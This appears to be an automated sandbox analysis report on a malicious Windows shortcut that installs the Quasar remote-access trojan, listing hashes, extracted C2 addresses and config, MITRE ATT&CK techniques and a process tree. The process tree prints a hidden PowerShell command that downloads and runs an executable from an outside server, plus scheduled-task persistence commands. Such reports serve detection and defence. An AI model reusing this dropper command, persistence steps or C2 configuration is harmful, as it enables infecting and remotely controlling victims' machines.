quasar | e29b86ad063e26d4f88cc123f784983f542357cf922f296813b615c3d0d80a00

Analysis

max time kernel
149s
max time network
152s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
03-11-2024 04:03

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General

Target

e29b86ad063e26d4f88cc123f784983f542357cf922f296813b615c3d0d80a00.lnk
Size

2KB
MD5

04e779f16953e15b609dfab5be6ebd26
SHA1

d0e0b98da3f2ee3b0f8346d511436891380dd4f6
SHA256

e29b86ad063e26d4f88cc123f784983f542357cf922f296813b615c3d0d80a00
SHA512

4e1967297fb67949b14b16fe8f1d8292360b94602e9da4871476bd7bba84c2cc013bc1b1cedff029c8b01b81f357657919cddcc030ad783a4e61a8db2e5b564b

Score

10^/10

quasar vtroy discovery execution spyware trojan

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper

http://45.149.241.169:5336/ghsjfsgfjsyhsfhzgbdfbgzgfb/yugygfyjsbdfoesrjfzbhffbserhbwdewbrtsnbdjkfbrhjgvghvhgvhgvhgvHfgcNchgfcnhchgchgcnGfcngcgdcngchcngch/jhbhfbjadhghjvgfcxhhfcjtgvkhdfskjdkbzhdfhmzdkydbfvhzdfjgvhzvg/tfvjtcfgchgcgcHcgcftjcgtygvgFtrdcjfcgkhvGcjfcxhfcjgVK/chfgcx.exe

Extracted

Family

quasar

Version

1.3.0.0

Botnet

VTROY

31.13.224.12:61512

31.13.224.13:61513

Mutex

QSR_MUTEX_4Q2rJqiVyC7hohzbjx

Attributes

encryption_key
7Vp2dMCHrMjJthQ2Elyy
install_name
downloads.exe
log_directory
Logs
reconnect_delay
5000
startup_key
cssrse.exe
subdirectory
downloadupdates

Signatures

Quasar RAT
Quasar is an open source Remote Access Tool.
trojan spyware quasar
Quasar family
quasar

Quasar payload 1 IoCs

Processes:

resource	yara_rule
behavioral2/memory/3120-27-0x0000000000400000-0x000000000045E000-memory.dmp	family_quasar

Blocklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow	pid	Process
4	4852	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

Processes:

powershell.exe

pid	Process
4852	powershell.exe

Downloads MZ/PE file

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

Processes:

cmd.exe

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-493223053-2004649691-1575712786-1000\Control Panel\International\Geo\Nation	cmd.exe

Executes dropped EXE 8 IoCs

Processes:

ajtjewc.exeajtjewc.exeajtjewc.exeajtjewc.exedownloads.exedownloads.exedownloads.exedownloads.exe

pid	Process
4480	ajtjewc.exe
3120	ajtjewc.exe
732	ajtjewc.exe
2100	ajtjewc.exe
3964	downloads.exe
4296	downloads.exe
3144	downloads.exe
3796	downloads.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow	ioc
18	ip-api.com

Suspicious use of SetThreadContext 6 IoCs

Processes:

ajtjewc.exedownloads.exe

description	pid	Process	procid_target
PID 4480 set thread context of 3120	4480	ajtjewc.exe	90
PID 4480 set thread context of 732	4480	ajtjewc.exe	91
PID 4480 set thread context of 2100	4480	ajtjewc.exe	92
PID 3964 set thread context of 4296	3964	downloads.exe	97
PID 3964 set thread context of 3144	3964	downloads.exe	98
PID 3964 set thread context of 3796	3964	downloads.exe	100

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 1 IoCs

Processes:

WerFault.exe

pid	pid_target	Process	procid_target
2544	4296	WerFault.exe	97

System Location Discovery: System Language Discovery 1 TTPs 9 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

Processes:

ajtjewc.exeschtasks.exedownloads.exedownloads.exeschtasks.exeajtjewc.exeajtjewc.exeajtjewc.exedownloads.exe

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ajtjewc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	downloads.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	downloads.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ajtjewc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ajtjewc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ajtjewc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	downloads.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

Processes:

schtasks.exeschtasks.exe

pid	Process
4528	schtasks.exe
204	schtasks.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powershell.exe

pid	Process
4852	powershell.exe
4852	powershell.exe

Suspicious use of AdjustPrivilegeToken 5 IoCs

Processes:

powershell.exeajtjewc.exeajtjewc.exedownloads.exedownloads.exe

description	pid	Process
Token: SeDebugPrivilege	4852	powershell.exe
Token: SeDebugPrivilege	4480	ajtjewc.exe
Token: SeDebugPrivilege	3120	ajtjewc.exe
Token: SeDebugPrivilege	3964	downloads.exe
Token: SeDebugPrivilege	3144	downloads.exe

Suspicious use of WriteProcessMemory 62 IoCs

Processes:

cmd.exepowershell.exeajtjewc.exeajtjewc.exedownloads.exedownloads.exe

description	pid	Process	procid_target
PID 4476 wrote to memory of 4852	4476	cmd.exe	85
PID 4476 wrote to memory of 4852	4476	cmd.exe	85
PID 4852 wrote to memory of 4480	4852	powershell.exe	89
PID 4852 wrote to memory of 4480	4852	powershell.exe	89
PID 4852 wrote to memory of 4480	4852	powershell.exe	89
PID 4480 wrote to memory of 3120	4480	ajtjewc.exe	90
PID 4480 wrote to memory of 3120	4480	ajtjewc.exe	90
PID 4480 wrote to memory of 3120	4480	ajtjewc.exe	90
PID 4480 wrote to memory of 3120	4480	ajtjewc.exe	90
PID 4480 wrote to memory of 3120	4480	ajtjewc.exe	90
PID 4480 wrote to memory of 3120	4480	ajtjewc.exe	90
PID 4480 wrote to memory of 3120	4480	ajtjewc.exe	90
PID 4480 wrote to memory of 3120	4480	ajtjewc.exe	90
PID 4480 wrote to memory of 732	4480	ajtjewc.exe	91
PID 4480 wrote to memory of 732	4480	ajtjewc.exe	91
PID 4480 wrote to memory of 732	4480	ajtjewc.exe	91
PID 4480 wrote to memory of 732	4480	ajtjewc.exe	91
PID 4480 wrote to memory of 732	4480	ajtjewc.exe	91
PID 4480 wrote to memory of 732	4480	ajtjewc.exe	91
PID 4480 wrote to memory of 732	4480	ajtjewc.exe	91
PID 4480 wrote to memory of 732	4480	ajtjewc.exe	91
PID 4480 wrote to memory of 2100	4480	ajtjewc.exe	92
PID 4480 wrote to memory of 2100	4480	ajtjewc.exe	92
PID 4480 wrote to memory of 2100	4480	ajtjewc.exe	92
PID 4480 wrote to memory of 2100	4480	ajtjewc.exe	92
PID 4480 wrote to memory of 2100	4480	ajtjewc.exe	92
PID 4480 wrote to memory of 2100	4480	ajtjewc.exe	92
PID 4480 wrote to memory of 2100	4480	ajtjewc.exe	92
PID 4480 wrote to memory of 2100	4480	ajtjewc.exe	92
PID 3120 wrote to memory of 4528	3120	ajtjewc.exe	94
PID 3120 wrote to memory of 4528	3120	ajtjewc.exe	94
PID 3120 wrote to memory of 4528	3120	ajtjewc.exe	94
PID 3120 wrote to memory of 3964	3120	ajtjewc.exe	96
PID 3120 wrote to memory of 3964	3120	ajtjewc.exe	96
PID 3120 wrote to memory of 3964	3120	ajtjewc.exe	96
PID 3964 wrote to memory of 4296	3964	downloads.exe	97
PID 3964 wrote to memory of 4296	3964	downloads.exe	97
PID 3964 wrote to memory of 4296	3964	downloads.exe	97
PID 3964 wrote to memory of 4296	3964	downloads.exe	97
PID 3964 wrote to memory of 4296	3964	downloads.exe	97
PID 3964 wrote to memory of 4296	3964	downloads.exe	97
PID 3964 wrote to memory of 4296	3964	downloads.exe	97
PID 3964 wrote to memory of 4296	3964	downloads.exe	97
PID 3964 wrote to memory of 3144	3964	downloads.exe	98
PID 3964 wrote to memory of 3144	3964	downloads.exe	98
PID 3964 wrote to memory of 3144	3964	downloads.exe	98
PID 3964 wrote to memory of 3144	3964	downloads.exe	98
PID 3964 wrote to memory of 3144	3964	downloads.exe	98
PID 3964 wrote to memory of 3144	3964	downloads.exe	98
PID 3964 wrote to memory of 3144	3964	downloads.exe	98
PID 3964 wrote to memory of 3144	3964	downloads.exe	98
PID 3964 wrote to memory of 3796	3964	downloads.exe	100
PID 3964 wrote to memory of 3796	3964	downloads.exe	100
PID 3964 wrote to memory of 3796	3964	downloads.exe	100
PID 3964 wrote to memory of 3796	3964	downloads.exe	100
PID 3964 wrote to memory of 3796	3964	downloads.exe	100
PID 3964 wrote to memory of 3796	3964	downloads.exe	100
PID 3964 wrote to memory of 3796	3964	downloads.exe	100
PID 3964 wrote to memory of 3796	3964	downloads.exe	100
PID 3144 wrote to memory of 204	3144	downloads.exe	105
PID 3144 wrote to memory of 204	3144	downloads.exe	105
PID 3144 wrote to memory of 204	3144	downloads.exe	105

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\e29b86ad063e26d4f88cc123f784983f542357cf922f296813b615c3d0d80a00.lnk
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4476
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -WindowStyle hIdDEn Hiddden -Command OpenWith.exe;(new-object System.Net.WebClient).DownloadFile('http://45.149.241.169:5336/ghsjfsgfjsyhsfhzgbdfbgzgfb/yugygfyjsbdfoesrjfzbhffbserhbwdewbrtsnbdjkfbrhjgvghvhgvhgvhgvHfgcNchgfcnhchgchgcnGfcngcgdcngchcngch/jhbhfbjadhghjvgfcxhhfcjtgvkhdfskjdkbzhdfhmzdkydbfvhzdfjgvhzvg/tfvjtcfgchgcgcHcgcftjcgtygvgFtrdcjfcgkhvGcjfcxhfcjgVK/chfgcx.exe','ajtjewc.exe');./'ajtjewc.exe';(get-item 'ajtjewc.exe').Attributes += 'Hidden';
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4852
- - C:\Users\Admin\AppData\Local\Temp\ajtjewc.exe
    "C:\Users\Admin\AppData\Local\Temp\ajtjewc.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of SetThreadContext
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:4480
  - - C:\Users\Admin\AppData\Local\Temp\ajtjewc.exe
      C:\Users\Admin\AppData\Local\Temp\ajtjewc.exe
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:3120
    - - C:\Windows\SysWOW64\schtasks.exe
        
        "schtasks" /create /tn "cssrse.exe" /sc ONLOGON /tr "C:\Users\Admin\AppData\Local\Temp\ajtjewc.exe" /rl HIGHEST /f
        5⤵
        System Location Discovery: System Language Discovery
        Scheduled Task/Job: Scheduled Task
        
        PID:4528
    - - C:\Users\Admin\AppData\Roaming\downloadupdates\downloads.exe
        
        "C:\Users\Admin\AppData\Roaming\downloadupdates\downloads.exe"
        5⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        System Location Discovery: System Language Discovery
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:3964
      - C:\Users\Admin\AppData\Roaming\downloadupdates\downloads.exe
        
        C:\Users\Admin\AppData\Roaming\downloadupdates\downloads.exe
        6⤵
        Executes dropped EXE
        
        PID:4296
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 4296 -s 80
        7⤵
        Program crash
        
        PID:2544
      - C:\Users\Admin\AppData\Roaming\downloadupdates\downloads.exe
        
        C:\Users\Admin\AppData\Roaming\downloadupdates\downloads.exe
        6⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:3144
        
        C:\Windows\SysWOW64\schtasks.exe
        
        "schtasks" /create /tn "cssrse.exe" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\downloadupdates\downloads.exe" /rl HIGHEST /f
        7⤵
        System Location Discovery: System Language Discovery
        Scheduled Task/Job: Scheduled Task
        
        PID:204
      - C:\Users\Admin\AppData\Roaming\downloadupdates\downloads.exe
        
        C:\Users\Admin\AppData\Roaming\downloadupdates\downloads.exe
        6⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        
        PID:3796
  - - C:\Users\Admin\AppData\Local\Temp\ajtjewc.exe
      C:\Users\Admin\AppData\Local\Temp\ajtjewc.exe
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      PID:732
  - - C:\Users\Admin\AppData\Local\Temp\ajtjewc.exe
      C:\Users\Admin\AppData\Local\Temp\ajtjewc.exe
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      PID:2100

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 412 -p 4296 -ip 4296
1⤵
PID:4548

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\ajtjewc.exe.log

Filesize
522B

MD5
0f39d6b9afc039d81ff31f65cbf76826

SHA1
8356d04fe7bba2695d59b6caf5c59f58f3e1a6d8

SHA256
ea16b63ffd431ebf658b903710b6b3a9b8a2eb6814eee3a53b707a342780315d

SHA512
5bad54adb2e32717ef6275f49e2f101dd7e2011c9be14a32e5c29051e8a3f608cbd0b44ac4855ab21e790cb7a5d84c5f69de087074fd01b35259d34d07f5aaf9

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_pgrxmhrc.a0z.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\ajtjewc.exe

Filesize
773KB

MD5
ea087d683bf86b06b48b797d7ec7a4f0

SHA1
19c673fbb29b58c82eaa1b398d8b2c13d82024ad

SHA256
1030615e0ef4b461b68d47bfd787236866c98d3b4598b8e5ef56941b73cc3a9c

SHA512
ea78497907f7d7e5c49a30c130b6bb4ebdd529cf4a10f4b71b2987085a0dd4c4600de7ca376d25bd85bdea941b4516457c09b6114e3df40b24acfbaa83c2e64a

Download Submit
memory/732-34-0x00000000053A0000-0x0000000005944000-memory.dmp

Filesize
5.6MB

Download
memory/2100-35-0x0000000005230000-0x00000000052C2000-memory.dmp

Filesize
584KB

Download
memory/3120-27-0x0000000000400000-0x000000000045E000-memory.dmp

Filesize
376KB

Download
memory/3120-39-0x00000000067A0000-0x00000000067DC000-memory.dmp

Filesize
240KB

Download
memory/3120-38-0x0000000006120000-0x0000000006132000-memory.dmp

Filesize
72KB

Download
memory/3120-36-0x00000000054D0000-0x0000000005536000-memory.dmp

Filesize
408KB

Download
memory/3144-52-0x0000000006D90000-0x0000000006D9A000-memory.dmp

Filesize
40KB

Download
memory/4480-24-0x0000000000DE0000-0x0000000000EAA000-memory.dmp

Filesize
808KB

Download
memory/4480-26-0x0000000005AD0000-0x0000000005B6C000-memory.dmp

Filesize
624KB

Download
memory/4480-25-0x0000000007C80000-0x0000000007D6E000-memory.dmp

Filesize
952KB

Download
memory/4852-2-0x00007FF9E2CE3000-0x00007FF9E2CE5000-memory.dmp

Filesize
8KB

Download
memory/4852-23-0x00007FF9E2CE0000-0x00007FF9E37A1000-memory.dmp

Filesize
10.8MB

Download
memory/4852-15-0x00007FF9E2CE0000-0x00007FF9E37A1000-memory.dmp

Filesize
10.8MB

Download
memory/4852-14-0x00007FF9E2CE0000-0x00007FF9E37A1000-memory.dmp

Filesize
10.8MB

Download
memory/4852-13-0x00007FF9E2CE0000-0x00007FF9E37A1000-memory.dmp

Filesize
10.8MB

Download
memory/4852-8-0x0000017B22940000-0x0000017B22962000-memory.dmp

Filesize
136KB

Download